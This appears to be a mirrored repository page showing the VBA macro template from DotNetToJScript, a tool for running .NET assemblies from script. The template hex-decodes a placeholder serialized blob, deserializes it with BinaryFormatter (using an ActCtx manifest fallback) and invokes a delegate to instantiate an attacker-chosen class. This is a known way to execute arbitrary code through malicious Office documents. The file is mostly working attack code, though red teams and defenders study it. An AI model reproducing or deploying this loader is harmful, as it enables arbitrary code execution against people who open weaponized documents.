mirror of
https://github.com/tyranid/DotNetToJScript
synced 2026-06-08 17:59:42 +00:00
6c1cdc64f1
Swapped SurrogateSelector for 'Empty' in vba template. Pushed version to 1.0.5
55 lines
1.4 KiB
Plaintext
55 lines
1.4 KiB
Plaintext
Private Function decodeHex(hex)
|
|
On Error Resume Next
|
|
Dim DM, EL
|
|
Set DM = CreateObject("Microsoft.XMLDOM")
|
|
Set EL = DM.createElement("tmp")
|
|
EL.DataType = "bin.hex"
|
|
EL.Text = hex
|
|
decodeHex = EL.NodeTypedValue
|
|
End Function
|
|
|
|
Function Run()
|
|
On Error Resume Next
|
|
|
|
Dim s As String
|
|
%SERIALIZED%
|
|
|
|
entry_class = "%CLASS%"
|
|
|
|
Dim stm As Object, fmt As Object, al As Object
|
|
Set stm = CreateObject("System.IO.MemoryStream")
|
|
|
|
If stm Is Nothing Then
|
|
%MANIFEST%
|
|
|
|
Set ax = CreateObject("Microsoft.Windows.ActCtx")
|
|
ax.ManifestText = manifest
|
|
|
|
Set stm = ax.CreateObject("System.IO.MemoryStream")
|
|
Set fmt = ax.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
|
|
Set al = ax.CreateObject("System.Collections.ArrayList")
|
|
Else
|
|
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
|
|
Set al = CreateObject("System.Collections.ArrayList")
|
|
End If
|
|
|
|
Dim dec
|
|
dec = decodeHex(s)
|
|
|
|
For Each i In dec
|
|
stm.WriteByte i
|
|
Next i
|
|
|
|
stm.Position = 0
|
|
|
|
Dim n As Object, d As Object, o As Object
|
|
Set d = fmt.Deserialize_2(stm)
|
|
al.Add Empty
|
|
|
|
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
|
|
%ADDEDSCRIPT%
|
|
If Err.Number <> 0 Then
|
|
DebugPrint Err.Description
|
|
Err.Clear
|
|
End If
|
|
End Function |